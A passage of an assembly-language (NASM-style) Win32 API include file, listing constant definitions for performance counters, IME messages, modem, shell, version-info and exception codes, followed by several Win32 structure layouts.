PERF_100NSEC_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|
PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT
PERF_100NSEC_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|
PERF_TIMER_100NS|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT
PERF_COUNTER_MULTI_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|
PERF_DELTA_COUNTER|PERF_TIMER_TICK|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT
PERF_COUNTER_MULTI_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|
PERF_DELTA_COUNTER|PERF_MULTI_COUNTER|PERF_TIMER_TICK|PERF_INVERSE_COUNTER|
PERF_DISPLAY_PERCENT
PERF_COUNTER_MULTI_BASE equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|
PERF_MULTI_COUNTER|PERF_DISPLAY_NOSHOW
PERF_100NSEC_MULTI_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|
PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT
PERF_100NSEC_MULTI_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|
PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_INVERSE_COUNTER|
PERF_DISPLAY_PERCENT
PERF_RAW_FRACTION equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|
PERF_DISPLAY_PERCENT
PERF_RAW_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|3h
PERF_ELAPSED_TIME equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_ELAPSED|
PERF_OBJECT_TIMER|PERF_DISPLAY_SECONDS
PERF_COUNTER_HISTOGRAM_TYPE equ 80000000h
PERF_DETAIL_NOVICE equ 100
PERF_DETAIL_ADVANCED equ 200
PERF_DETAIL_EXPERT equ 300
PERF_DETAIL_WIZARD equ 400
PERF_NO_UNIQUE_ID equ -1
LZERROR_BADINHANDLE equ -1
LZERROR_BADOUTHANDLE equ -2
LZERROR_READ equ -3
LZERROR_WRITE equ -4
LZERROR_PUBLICLOC equ -5
LZERROR_GLOBLOCK equ -6
LZERROR_BADVALUE equ -7
LZERROR_UNKNOWNALG equ -8
VK_PROCESSKEY equ 0E5h
STYLE_DESCRIPTION_SIZE equ 32
WM_CONVERTREQUESTEX equ 108h
WM_IME_STARTCOMPOSITION equ 10Dh
WM_IME_ENDCOMPOSITION equ 10Eh
WM_IME_COMPOSITION equ 10Fh
WM_IME_KEYLAST equ 10Fh
WM_IME_SETCONTEXT equ 281h
WM_IME_NOTIFY equ 282h
WM_IME_CONTROL equ 283h
WM_IME_COMPOSITIONFULL equ 284h
WM_IME_SELECT equ 285h
WM_IME_CHAR equ 286h
WM_IME_KEYDOWN equ 290h
WM_IME_KEYUP equ 291h
IMC_GETCANDIDATEPOS equ 7h
IMC_SETCANDIDATEPOS equ 8h
IMC_GETCOMPOSITIONFONT equ 9h
IMC_SETCOMPOSITIONFONT equ 0Ah
IMC_GETCOMPOSITIONWINDOW equ 0Bh
IMC_SETCOMPOSITIONWINDOW equ 0Ch
IMC_GETSTATUSWINDOWPOS equ 0Fh
IMC_SETSTATUSWINDOWPOS equ 10h
IMC_CLOSESTATUSWINDOW equ 21h
IMC_OPENSTATUSWINDOW equ 22h
NI_OPENCANDIDATE equ 10h
NI_CLOSECANDIDATE equ 11h
NI_SELECTCANDIDATESTR equ 12h
NI_CHANGECANDIDATELIST equ 13h
NI_FINALIZECONVERSIONRESULT equ 14h
NI_COMPOSITIONSTR equ 15h
NI_SETCANDIDATE_PAGESTART equ 16h
NI_SETCANDIDATE_PAGESIZE equ 17h
ISC_SHOWUICANDIDATEWINDOW equ 1h
ISC_SHOWUICOMPOSITIONWINDOW equ 80000000h
ISC_SHOWUIGUIDELINE equ 40000000h
ISC_SHOWUIALLCANDIDATEWINDOW equ 0Fh
ISC_SHOWUIALL equ 0C000000Fh
CPS_COMPLETE equ 1h
CPS_CONVERT equ 2h
CPS_REVERT equ 3h
CPS_CANCEL equ 4h
IME_CHOTKEY_IME_NONIME_TOGGLE equ 10h
IME_CHOTKEY_SHAPE_TOGGLE equ 11h
IME_CHOTKEY_SYMBOL_TOGGLE equ 12h
IME_JHOTKEY_CLOSE_OPEN equ 30h
IME_KHOTKEY_SHAPE_TOGGLE equ 50h
IME_KHOTKEY_HANJACONVERT equ 51h
IME_KHOTKEY_ENGLISH equ 52h
IME_THOTKEY_IME_NONIME_TOGGLE equ 70h
IME_THOTKEY_SHAPE_TOGGLE equ 71h
IME_THOTKEY_SYMBOL_TOGGLE equ 72h
IME_HOTKEY_DSWITCH_FIRST equ 100h
IME_HOTKEY_DSWITCH_LAST equ 11Fh
IME_ITHOTKEY_RESEND_RESULTSTR equ 200h
IME_ITHOTKEY_PREVIOUS_COMPOSITION equ 201h
IME_ITHOTKEY_UISTYLE_TOGGLE equ 202h
GCS_COMPREADSTR equ 1h
GCS_COMPREADATTR equ 2h
GCS_COMPREADCLAUSE equ 4h
GCS_COMPSTR equ 8h
GCS_COMPATTR equ 10h
GCS_COMPCLAUSE equ 20h
GCS_CURSORPOS equ 80h
GCS_DELTASTART equ 100h
GCS_RESULTREADSTR equ 200h
GCS_RESULTREADCLAUSE equ 400h
GCS_RESULTSTR equ 800h
GCS_RESULTCLAUSE equ 1000h
CS_INSERTCHAR equ 2000h
CS_NOMOVECARET equ 4000h
IME_PROP_AT_CARET equ 10000h
IME_PROP_SPECIAL_UI equ 20000h
IME_PROP_CANDLIST_START_FROM_1 equ 40000h
IME_PROP_UNICODE equ 80000h
UI_CAP_2700 equ 1h
UI_CAP_ROT90 equ 2h
UI_CAP_ROTANY equ 4h
SCS_CAP_COMPSTR equ 1h
SCS_CAP_MAKEREAD equ 2h
SELECT_CAP_CONVERSION equ 1h
SELECT_CAP_SENTENCE equ 2h
GGL_LEVEL equ 1h
GGL_INDEX equ 2h
GGL_STRING equ 3h
GGL_PRIVATE equ 4h
GL_LEVEL_NOGUIDELINE equ 0h
GL_LEVEL_FATAL equ 1h
GL_LEVEL_ERROR equ 2h
GL_LEVEL_WARNING equ 3h
GL_LEVEL_INFORMATION equ 4h
GL_ID_UNKNOWN equ 0h
GL_ID_NOMODULE equ 1h
GL_ID_NODICTIONARY equ 10h
GL_ID_CANNOTSAVE equ 11h
GL_ID_NOCONVERT equ 20h
GL_ID_TYPINGERROR equ 21h
GL_ID_TOOMANYSTROKE equ 22h
GL_ID_READINGCONFLICT equ 23h
GL_ID_INPUTREADING equ 24h
GL_ID_INPUTRADICAL equ 25h
GL_ID_INPUTCODE equ 26h
GL_ID_INPUTSYMBOL equ 27h
GL_ID_CHOOSECANDIDATE equ 28h
GL_ID_REVERSECONVERSION equ 29h
GL_ID_PRIVATE_FIRST equ 8000h
GL_ID_PRIVATE_LAST equ 0FFFFh
IGP_PROPERTY equ 4h
IGP_CONVERSION equ 8h
IGP_SENTENCE equ 0Ch
IGP_UI equ 10h
IGP_SETCOMPSTR equ 14h
IGP_SELECT equ 18h
SCS_SETSTR equ GCS_COMPREADSTR|GCS_COMPSTR
SCS_CHANGEATTR equ GCS_COMPREADATTR|GCS_COMPATTR
SCS_CHANGECLAUSE equ GCS_COMPREADCLAUSE|GCS_COMPCLAUSE
ATTR_INPUT equ 0h
ATTR_TARGET_CONVERTED equ 1h
ATTR_CONVERTED equ 2h
ATTR_TARGET_NOTCONVERTED equ 3h
ATTR_INPUT_ERROR equ 4h
CFS_DEFAULT equ 0h
CFS_RECT equ 1h
CFS_POINT equ 2h
CFS_SCREEN equ 4h
CFS_FORCE_POSITION equ 20h
CFS_CANDIDATEPOS equ 40h
CFS_EXCLUDE equ 80h
GCL_CONVERSION equ 1h
GCL_REVERSECONVERSION equ 2h
GCL_REVERSE_LENGTH equ 3h
IME_CMODE_ALPHANUMERIC equ 0h
IME_CMODE_NATIVE equ 1h
IME_CMODE_CHINESE equ IME_CMODE_NATIVE
IME_CMODE_HANGEUL equ IME_CMODE_NATIVE
IME_CMODE_JAPANESE equ IME_CMODE_NATIVE
IME_CMODE_KATAKANA equ 2h
IME_CMODE_LANGUAGE equ 3h
IME_CMODE_FULLSHAPE equ 8h
IME_CMODE_ROMAN equ 10h
IME_CMODE_CHARCODE equ 20h
IME_CMODE_HANJACONVERT equ 40h
IME_CMODE_SOFTKBD equ 80h
IME_CMODE_NOCONVERSION equ 100h
IME_CMODE_EUDC equ 200h
IME_CMODE_SYMBOL equ 400h
IME_SMODE_NONE equ 0h
IME_SMODE_PLAURALCLAUSE equ 1h
IME_SMODE_SINGLECONVERT equ 2h
IME_SMODE_AUTOMATIC equ 4h
IME_SMODE_PHRASEPREDICT equ 8h
IME_CAND_UNKNOWN equ 0h
IME_CAND_READ equ 1h
IME_CAND_CODE equ 2h
IME_CAND_MEANING equ 3h
IME_CAND_RADICAL equ 4h
IME_CAND_STROKE equ 5h
IMN_CLOSESTATUSWINDOW equ 1h
IMN_OPENSTATUSWINDOW equ 2h
IMN_CHANGECANDIDATE equ 3h
IMN_CLOSECANDIDATE equ 4h
IMN_OPENCANDIDATE equ 5h
IMN_SETCONVERSIONMODE equ 6h
IMN_SETSENTENCEMODE equ 7h
IMN_SETOPENSTATUS equ 8h
IMN_SETCANDIDATEPOS equ 9h
IMN_SETCOMPOSITIONFONT equ 0Ah
IMN_SETCOMPOSITIONWINDOW equ 0Bh
IMN_SETSTATUSWINDOWPOS equ 0Ch
IMN_GUIDELINE equ 0Dh
IMN_PRIVATE equ 0Eh
IMM_ERROR_NODATA equ -1
IMM_ERROR_GENERAL equ -2
IME_CONFIG_GENERAL equ 1
IME_CONFIG_REGISTERWORD equ 2
IME_CONFIG_SELECTDICTIONARY equ 3
IME_ESC_QUERY_SUPPORT equ 3h
IME_ESC_RESERVED_FIRST equ 4h
IME_ESC_RESERVED_LAST equ 7FFh
IME_ESC_PRIVATE_FIRST equ 800h
IME_ESC_PRIVATE_LAST equ 0FFFh
IME_ESC_SEQUENCE_TO_INTERNAL equ 1001h
IME_ESC_GET_EUDC_DICTIONARY equ 1003h
IME_ESC_SET_EUDC_DICTIONARY equ 1004h
IME_ESC_MAX_KEY equ 1005h
IME_ESC_IME_NAME equ 1006h
IME_ESC_SYNC_HOTKEY equ 1007h
IME_ESC_HANJA_MODE equ 1008h
IME_REGWORD_STYLE_EUDC equ 1h
IME_REGWORD_STYLE_USER_FIRST equ 80000000h
IME_REGWORD_STYLE_USER_LAST equ 0FFFFh
SOFTKEYBOARD_TYPE_T1 equ 1h
SOFTKEYBOARD_TYPE_C1 equ 2h
DIALOPTION_BILLING equ 40h
DIALOPTION_QUIET equ 80h
DIALOPTION_DIALTONE equ 100h
MDMVOLFLAG_LOW equ 1h
MDMVOLFLAG_MEDIUM equ 2h
MDMVOLFLAG_HIGH equ 4h
MDMVOL_LOW equ 0h
MDMVOL_MEDIUM equ 1h
MDMVOL_HIGH equ 2h
MDMSPKRFLAG_OFF equ 1h
MDMSPKRFLAG_DIAL equ 2h
MDMSPKRFLAG_ON equ 4h
MDMSPKRFLAG_CALLSETUP equ 8h
MDMSPKR_OFF equ 0h
MDMSPKR_DIAL equ 1h
MDMSPKR_ON equ 2h
MDMSPKR_CALLSETUP equ 3h
MDM_COMPRESSION equ 1h
MDM_ERROR_CONTROL equ 2h
MDM_FORCED_EC equ 4h
MDM_CELLULAR equ 8h
MDM_FLOWCONTROL_HARD equ 10h
MDM_FLOWCONTROL_SOFT equ 20h
MDM_CCITT_OVERRIDE equ 40h
MDM_SPEED_ADJUST equ 80h
MDM_TONE_DIAL equ 100h
MDM_BLIND_DIAL equ 200h
MDM_V23_OVERRIDE equ 400h
ABM_NEW equ 0h
ABM_REMOVE equ 1h
ABM_QUERYPOS equ 2h
ABM_SETPOS equ 3h
ABM_GETSTATE equ 4h
ABM_GETTASKBARPOS equ 5h
ABM_ACTIVATE equ 6h
ABM_GETAUTOHIDEBAR equ 7h
ABM_SETAUTOHIDEBAR equ 8h
ABM_WINDOWPOSCHANGED equ 9h
ABN_STATECHANGE equ 0h
ABN_POSCHANGED equ 1h
ABN_FULLSCREENAPP equ 2h
ABN_WINDOWARRANGE equ 3h
ABS_AUTOHIDE equ 1h
ABS_ALWAYSONTOP equ 2h
ABE_LEFT equ 0
ABE_TOP equ 1
ABE_RIGHT equ 2
ABE_BOTTOM equ 3
EIRESID equ -1
FO_MOVE equ 1h
FO_COPY equ 2h
FO_DELETE equ 3h
FO_RENAME equ 4h
FOF_MULTIDESTFILES equ 1h
FOF_CONFIRMMOUSE equ 2h
FOF_SILENT equ 4h
FOF_RENAMEONCOLLISION equ 8h
FOF_NOCONFIRMATION equ 10h
FOF_WANTMAPPINGHANDLE equ 20h
FOF_ALLOWUNDO equ 40h
FOF_FILESONLY equ 80h
FOF_SIMPLEPROGRESS equ 100h
FOF_NOCONFIRMMKDIR equ 200h
PO_DELETE equ 13h
PO_RENAME equ 14h
PO_PORTCHANGE equ 20h
PO_REN_PORT equ 34h
SE_ERR_FNF equ 2
SE_ERR_PNF equ 3
SE_ERR_ACCESSDENIED equ 5
SE_ERR_OOM equ 8
SE_ERR_DLLNOTFOUND equ 32
SEE_MASK_CLASSNAME equ 1h
SEE_MASK_CLASSKEY equ 3h
SEE_MASK_IDLIST equ 4h
SEE_MASK_INVOKEIDLIST equ 0Ch
SEE_MASK_ICON equ 10h
SEE_MASK_HOTKEY equ 20h
SEE_MASK_NOCLOSEPROCESS equ 40h
SEE_MASK_CONNECTNETDRV equ 80h
SEE_MASK_FLAG_DDEWAIT equ 100h
SEE_MASK_DOENVSUBST equ 200h
SEE_MASK_FLAG_NO_UI equ 400h
NIM_ADD equ 0h
NIM_MODIFY equ 1h
NIM_DELETE equ 2h
NIF_MESSAGE equ 1h
NIF_ICON equ 2h
NIF_TIP equ 4h
SHGFI_ICON equ 100h
SHGFI_DISPLAYNAME equ 200h
SHGFI_TYPENAME equ 400h
SHGFI_ATTRIBUTES equ 800h
SHGFI_ICONLOCATION equ 1000h
SHGFI_EXETYPE equ 2000h
SHGFI_SYSICONINDEX equ 4000h
SHGFI_LINKOVERLAY equ 8000h
SHGFI_SELECTED equ 10000h
SHGFI_LARGEICON equ 0h
SHGFI_SMALLICON equ 1h
SHGFI_OPENICON equ 2h
SHGFI_SHELLICONSIZE equ 4h
SHGFI_PIDL equ 8h
SHGFI_USEFILEATTRIBUTES equ 10h
SHGNLI_PIDL equ 1h
SHGNLI_PREFIXNAME equ 2h
VS_VERSION_INFO equ 1
VS_USER_DEFINED equ 100
VS_FFI_SIGNATURE equ 0FEEF04BDh
VS_FFI_STRUCVERSION equ 10000h
VS_FFI_FILEFLAGSMASK equ 3Fh
VS_FF_DEBUG equ 1h
VS_FF_PRERELEASE equ 2h
VS_FF_PATCHED equ 4h
VS_FF_PRIVATEBUILD equ 8h
VS_FF_INFOINFERRED equ 10h
VS_FF_SPECIALBUILD equ 20h
VOS_UNKNOWN equ 0h
VOS_DOS equ 10000h
VOS_OS216 equ 20000h
VOS_OS232 equ 30000h
VOS_NT equ 40000h
VOS__BASE equ 0h
VOS__WINDOWS16 equ 1h
VOS__PM16 equ 2h
VOS__PM32 equ 3h
VOS__WINDOWS32 equ 4h
VOS_DOS_WINDOWS16 equ 10001h
VOS_DOS_WINDOWS32 equ 10004h
VOS_OS216_PM16 equ 20002h
VOS_OS232_PM32 equ 30003h
VOS_NT_WINDOWS32 equ 40004h
VFT_UNKNOWN equ 0h
VFT_APP equ 1h
VFT_DLL equ 2h
VFT_DRV equ 3h
VFT_FONT equ 4h
VFT_VXD equ 5h
VFT_STATIC_LIB equ 7h
VFT2_UNKNOWN equ 0h
VFT2_DRV_PRINTER equ 1h
VFT2_DRV_KEYBOARD equ 2h
VFT2_DRV_LANGUAGE equ 3h
VFT2_DRV_DISPLAY equ 4h
VFT2_DRV_MOUSE equ 5h
VFT2_DRV_NETWORK equ 6h
VFT2_DRV_SYSTEM equ 7h
VFT2_DRV_INSTALLABLE equ 8h
VFT2_DRV_SOUND equ 9h
VFT2_DRV_COMM equ 0Ah
VFT2_DRV_INPUTMETHOD equ 0Bh
VFT2_FONT_RASTER equ 1h
VFT2_FONT_VECTOR equ 2h
VFT2_FONT_TRUETYPE equ 3h
VFFF_ISSHAREDFILE equ 1h
VFF_CURNEDEST equ 1h
VFF_FILEINUSE equ 2h
VFF_BUFFTOOSMALL equ 4h
VIFF_FORCEINSTALL equ 1h
VIFF_DONTDELETEOLD equ 2h
VIF_TEMPFILE equ 1h
VIF_MISMATCH equ 2h
VIF_SRCOLD equ 4h
VIF_DIFFLANG equ 8h
VIF_DIFFCODEPG equ 10h
VIF_DIFFTYPE equ 20h
VIF_WRITEPROT equ 40h
VIF_FILEINUSE equ 80h
VIF_OUTOFSPACE equ 100h
VIF_ACCESSVIOLATION equ 200h
VIF_SHARINGVIOLATION equ 400h
VIF_CANNOTCREATE equ 800h
VIF_CANNOTDELETE equ 1000h
VIF_CANNOTRENAME equ 2000h
VIF_CANNOTDELETECUR equ 4000h
VIF_OUTOFMEMORY equ 8000h
VIF_CANNOTREADSRC equ 10000h
VIF_CANNOTREADDST equ 20000h
VIF_BUFFTOOSMALL equ 40000h
PROCESS_HEAP_REGION equ 1h
PROCESS_HEAP_UNCOMMITTED_RANGE equ 2h
PROCESS_HEAP_ENTRY_BUSY equ 4h
PROCESS_HEAP_ENTRY_MOVEABLE equ 10h
PROCESS_HEAP_ENTRY_DDESHARE equ 20h
SCS_32BIT_BINARY equ 0
SCS_DOS_BINARY equ 1
SCS_WOW_BINARY equ 2
SCS_PIF_BINARY equ 3
SCS_POSIX_BINARY equ 4
SCS_OS216_BINARY equ 5
LOGON32_LOGON_INTERACTIVE equ 2
LOGON32_LOGON_BATCH equ 4
LOGON32_LOGON_SERVICE equ 5
LOGON32_PROVIDER_DEFAULT equ 0
LOGON32_PROVIDER_WINNT35 equ 1
VER_PLATFORM_WIN32s equ 0
VER_PLATFORM_WIN32_WINDOWS equ 1
VER_PLATFORM_WIN32_NT equ 2
AC_LINE_OFFLINE equ 0h
AC_LINE_ONLINE equ 1h
AC_LINE_BACKUP_POWER equ 2h
AC_LINE_UNKNOWN equ 0FFh
BATTERY_FLAG_HIGH equ 1h
BATTERY_FLAG_LOW equ 2h
BATTERY_FLAG_CRITICAL equ 4h
BATTERY_FLAG_CHARGING equ 8h
BATTERY_FLAG_NO_BATTERY equ 80h
BATTERY_FLAG_UNKNOWN equ 0FFh
BATTERY_PERCENTAGE_UNKNOWN equ 0FFh
BATTERY_LIFE_UNKNOWN equ 0FFFFh
CDM_FIRST equ WM_USER+100
CDM_LAST equ WM_USER+200
CDM_GETSPEC equ CDM_FIRST+0h
CDM_GETFILEPATH equ CDM_FIRST+1h
CDM_GETFOLDERPATH equ CDM_FIRST+2h
CDM_GETFOLDERIDLIST equ CDM_FIRST+3h
CDM_SETCONTROLTEXT equ CDM_FIRST+4h
CDM_HIDECONTROL equ CDM_FIRST+5h
CDM_SETDEFEXT equ CDM_FIRST+6h
SIMULATED_FONTTYPE equ 8000h
PRINTER_FONTTYPE equ 4000h
SCREEN_FONTTYPE equ 2000h
BOLD_FONTTYPE equ 100h
ITALIC_FONTTYPE equ 200h
REGULAR_FONTTYPE equ 400h
WM_PSD_PAGESETUPDLG equ WM_USER
WM_PSD_FULLPAGERECT equ WM_USER+1
WM_PSD_MINMARGINRECT equ WM_USER+2
WM_PSD_MARGINRECT equ WM_USER+3
WM_PSD_GREEKTEXTRECT equ WM_USER+4
WM_PSD_ENVSTAMPRECT equ WM_USER+5
WM_PSD_YAFULLPAGERECT equ WM_USER+6
PSD_DEFAULTMINMARGINS equ 0h
PSD_INWININIINTLMEASURE equ 0h
PSD_MINMARGINS equ 1h
PSD_MARGINS equ 2h
PSD_INTHOUSANDTHSOFINCHES equ 4h
PSD_INHUNDREDTHSOFMILLIMETERS equ 8h
PSD_DISABLEMARGINS equ 10h
PSD_DISABLEPRINTER equ 20h
PSD_NOWARNING equ 80h
PSD_DISABLEORIENTATION equ 100h
PSD_RETURNDEFAULT equ 400h
PSD_DISABLEPAPER equ 200h
PSD_SHOWHELP equ 800h
PSD_ENABLEPAGESETUPHOOK equ 2000h
PSD_ENABLEPAGESETUPTEMPLATE equ 8000h
PSD_ENABLEPAGESETUPTEMPLATEHANDLE equ 20000h
PSD_ENABLEPAGEPAINTHOOK equ 40000h
PSD_DISABLEPAGEPAINTING equ 80000h
NM_FIRST equ 0-0
NM_LAST equ 0-99
DBG_CONTINUE equ 00010002h
DBG_TERMINATE_THREAD equ 40010003h
DBG_TERMINATE_PROCESS equ 40010004h
DBG_CONTROL_C equ 40010005h
DBG_CONTROL_BREAK equ 40010008h
DBG_EXCEPTION_NOT_HANDLED equ 80010001h
SIZE_OF_80387_REGISTERS equ 80
STATUS_WAIT_0 equ 00000000h
STATUS_ABANDONED_WAIT_0 equ 00000080h
STATUS_USER_APC equ 000000C0h
STATUS_TIMEOUT equ 00000102h
STATUS_PENDING equ 00000103h
STATUS_DATATYPE_MISALIGNMENT equ 80000002h
STATUS_BREAKPOINT equ 80000003h
STATUS_SINGLE_STEP equ 80000004h
STATUS_ACCESS_VIOLATION equ 0C0000005h
STATUS_IN_PAGE_ERROR equ 0C0000006h
STATUS_NO_MEMORY equ 0C0000017h
STATUS_ILLEGAL_INSTRUCTION equ 0C000001Dh
STATUS_NONCONTINUABLE_EXCEPTION equ 0C0000025h
STATUS_INVALID_DISPOSITION equ 0C0000026h
STATUS_ARRAY_BOUNDS_EXCEEDED equ 0C000008Ch
STATUS_FLOAT_DENORMAL_OPERAND equ 0C000008Dh
STATUS_FLOAT_DIVIDE_BY_ZERO equ 0C000008Eh
STATUS_FLOAT_INEXACT_RESULT equ 0C000008Fh
STATUS_FLOAT_INVALID_OPERATION equ 0C0000090h
STATUS_FLOAT_OVERFLOW equ 0C0000091h
STATUS_FLOAT_STACK_CHECK equ 0C0000092h
STATUS_FLOAT_UNDERFLOW equ 0C0000093h
STATUS_INTEGER_DIVIDE_BY_ZERO equ 0C0000094h
STATUS_INTEGER_OVERFLOW equ 0C0000095h
STATUS_PRIVILEGED_INSTRUCTION equ 0C0000096h
STATUS_STACK_OVERFLOW equ 0C00000FDh
STATUS_CONTROL_C_EXIT equ 0C000013Ah
EXCEPTION_CONTINUABLE equ 0
EXCEPTION_NONCONTINUABLE equ 1h
EXCEPTION_ACCESS_VIOLATION equ STATUS_ACCESS_VIOLATION
EXCEPTION_DATATYPE_MISALIGNMENT equ STATUS_DATATYPE_MISALIGNMENT
EXCEPTION_BREAKPOINT equ STATUS_BREAKPOINT
EXCEPTION_SINGLE_STEP equ STATUS_SINGLE_STEP
EXCEPTION_ARRAY_BOUNDS_EXCEEDED equ STATUS_ARRAY_BOUNDS_EXCEEDED
EXCEPTION_FLT_DENORMAL_OPERAND equ STATUS_FLOAT_DENORMAL_OPERAND
EXCEPTION_FLT_DIVIDE_BY_ZERO equ STATUS_FLOAT_DIVIDE_BY_ZERO
EXCEPTION_FLT_INEXACT_RESULT equ STATUS_FLOAT_INEXACT_RESULT
EXCEPTION_FLT_INVALID_OPERATION equ STATUS_FLOAT_INVALID_OPERATION
EXCEPTION_FLT_OVERFLOW equ STATUS_FLOAT_OVERFLOW
EXCEPTION_FLT_STACK_CHECK equ STATUS_FLOAT_STACK_CHECK
EXCEPTION_FLT_UNDERFLOW equ STATUS_FLOAT_UNDERFLOW
EXCEPTION_INT_DIVIDE_BY_ZERO equ STATUS_INTEGER_DIVIDE_BY_ZERO
EXCEPTION_INT_OVERFLOW equ STATUS_INTEGER_OVERFLOW
EXCEPTION_PRIV_INSTRUCTION equ STATUS_PRIVILEGED_INSTRUCTION
EXCEPTION_IN_PAGE_ERROR equ STATUS_IN_PAGE_ERROR
CONTEXT_i386 equ 00010000h
CONTEXT_i486 equ 00010000h
CONTEXT_CONTROL equ CONTEXT_i386|00000001h
CONTEXT_INTEGER equ CONTEXT_i386|00000002h
CONTEXT_SEGMENTS equ CONTEXT_i386|00000004h
CONTEXT_FLOATING_POINT equ CONTEXT_i386|00000008h
CONTEXT_DEBUG_REGISTERS equ CONTEXT_i386|00000010h
CONTEXT_FULL equ CONTEXT_CONTROL|CONTEXT_INTEGER|CONTEXT_SEGMENTS
IMAGE_DIRECTORY_ENTRY_EXPORT equ 0
IMAGE_DIRECTORY_ENTRY_IMPORT equ 1
IMAGE_DIRECTORY_ENTRY_RESOURCE equ 2
IMAGE_DIRECTORY_ENTRY_EXCEPTION equ 3
IMAGE_DIRECTORY_ENTRY_SECURITY equ 4
IMAGE_DIRECTORY_ENTRY_BASERELOC equ 5
IMAGE_DIRECTORY_ENTRY_DEBUG equ 6
IMAGE_DIRECTORY_ENTRY_COPYRIGHT equ 7
IMAGE_DIRECTORY_ENTRY_GLOBALPTR equ 8
IMAGE_DIRECTORY_ENTRY_TLS equ 9
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG equ 10
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT equ 11
IMAGE_DIRECTORY_ENTRY_IAT equ 12
IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16
IMAGE_BITMAP equ 0
IMAGE_ICON equ 1
IMAGE_CURSOR equ 2
IMAGE_ENHMETAFILE equ 3
PROCESSOR_INTEL_386 equ 386
PROCESSOR_INTEL_486 equ 486
PROCESSOR_INTEL_PENTIUM equ 586
PROCESSOR_MIPS_R4000 equ 4000
PROCESSOR_ALPHA_21064 equ 21064
;-----------------------win32api structures-----------------------------
STRUC RECT
.left RESD 1
.top RESD 1
.right RESD 1
.bottom RESD 1
ENDSTRUC

STRUC POINT
.x RESD 1
.y RESD 1
ENDSTRUC

STRUC SIZEL
.x RESD 1
.y RESD 1
ENDSTRUC

STRUC MSG
.hwnd RESD 1
.message RESD 1
.wParam RESD 1
.lParam RESD 1
.time RESD 1
.pt RESB POINT_size
ENDSTRUC

STRUC SID_AND_ATTRIBUTES
.Sid RESD 1
.Attributes RESD 1
ENDSTRUC

STRUC SID_IDENTIFIER_AUTHORITY
.Value RESB 1
ENDSTRUC

STRUC OVERLAPPED
.Internal RESD 1
.InternalHigh RESD 1
.loffset RESD 1
.OffsetHigh RESD 1
.hEvent RESD 1
ENDSTRUC

STRUC SECURITY_ATTRIBUTES
.niLength RESD 1
.lpSecurityDescriptor RESD 1
.bInheritHandle RESD 1
ENDSTRUC

STRUC PROCESS_INFORMATION
.hProcess RESD 1
.hThread RESD 1
.dwProcessId RESD 1
.dwThreadId RESD 1
ENDSTRUC

STRUC FILETIME
.dwLowDateTime RESD 1
.dwHighDateTime RESD 1
ENDSTRUC

STRUC SYSTEMTIME
.wYear RESW 1
.wMonth RESW 1
.wDayOfWeek RESW 1
.wDay RESW 1
.wHour RESW 1
.wMinute RESW 1
.wSecond RESW 1
.wMilliseconds RESW 1
ENDSTRUC

STRUC COMMPROP
.wPacketiLength RESW 1
.wPacketVersion RESW 1
.dwServiceMask RESD 1
.dwReserved1 RESD 1
.dwMaxTxQueue RESD 1
.dwMaxRxQueue RESD 1
.dwMaxBaud RESD 1
.dwProvSubType RESD 1
.dwProvCapabilities RESD 1
.dwSettableParams RESD 1
.dwSettableBaud RESD 1
.wSettableData RESW 1
.wSettableStopParity RESW 1
.dwCurrentTxQueue RESD 1
.dwCurrentRxQueue RESD 1
.dwProvSpec1 RESD 1
.dwProvSpec2 RESD 1
.wcProvChar RESW 1
ENDSTRUC

STRUC COMSTAT
.fCtsHold RESD 1
.fDsrHold RESD 1
.fRlsdHold RESD 1
.fXoffHold RESD 1
.fXoffSent RESD 1
.fEof RESD 1
.fTxim RESD 1
.fReserved RESD 1
.cbInQue RESD 1
.cbOutQue RESD 1
ENDSTRUC

STRUC DCB
.DCBlength RESD 1
.BaudRate RESD 1
.fbits RESD 1
.wReserved RESW 1
.XonLim RESW 1
.XoffLim RESW 1
.ByteSize RESB 1
.Parity RESB 1
.StopBits RESB 1
.XonChar RESB 1
.XoffChar RESB 1
.ErrorChar RESB 1
.EofChar RESB 1
.EvtChar RESB 1
ENDSTRUC

STRUC COMMTIMEOUTS
.ReadIntervalTimeout RESD 1
.ReadTotalTimeoutMultiplier RESD 1
.ReadTotalTimeoutConstant RESD 1
.WriteTotalTimeoutMultiplier RESD 1
.WriteTotalTimeoutConstant RESD 1
ENDSTRUC

STRUC SYSTEM_INFO
.dwOemID RESD 1
.dwPageSize RESD 1
.lpMinimumApplicationAddress RESD 1
.lpMaximumApplicationAddress RESD 1
.dwActiveProcessorMask RESD 1
.dwNumberOrfProcessors RESD 1
.dwProcessorType RESD 1
.dwAllocationGranularity RESD 1
.wProcessorLevel RESW 1
.wProcessorRevision RESW 1
ENDSTRUC

STRUC MEMORYSTATUS
.dwiLength RESD 1
.dwMemoryLoad RESD 1
.dwTotalPhys RESD 1
.dwAvailPhys RESD 1
.dwTotalPageFile RESD 1
.dwAvailPageFile RESD 1
.dwTotalVirtual RESD 1
.dwAvailVirtual RESD 1
ENDSTRUC

STRUC TPMPARAMS
.cbSize RESD 1
.rcExclude RESB RECT_size
ENDSTRUC

STRUC GENERIC_MAPPING
.GenericRead RESD 1
.GenericWrite RESD 1
